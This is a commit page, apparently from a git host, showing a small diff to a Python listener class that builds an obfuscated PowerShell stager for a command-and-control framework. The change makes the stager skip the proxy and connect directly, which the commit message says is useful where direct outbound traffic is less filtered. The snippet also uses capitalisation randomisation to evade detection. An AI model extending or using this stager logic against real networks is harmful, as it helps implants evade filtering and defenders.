Fix: none proxy value really means no proxy
Usefull when outgoing connexion is less filtered than proxy ones.php_fix
parent
058be55394
commit
bfc793a7f6
|
@ -348,9 +348,10 @@ class Listener:
|
|||
usr = username.split('\\')[0]
|
||||
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"');"
|
||||
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
|
||||
|
||||
else:
|
||||
stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();")
|
||||
#save the proxy settings to use during the entire staging process and the agent
|
||||
stager += "$Script:Proxy = $wc.Proxy;"
|
||||
stager += "$Script:Proxy = $wc.Proxy;"
|
||||
|
||||
# TODO: reimplement stager retries?
|
||||
#check if we're using IPv6
|
||||
|
|
Loading…
Reference in New Issue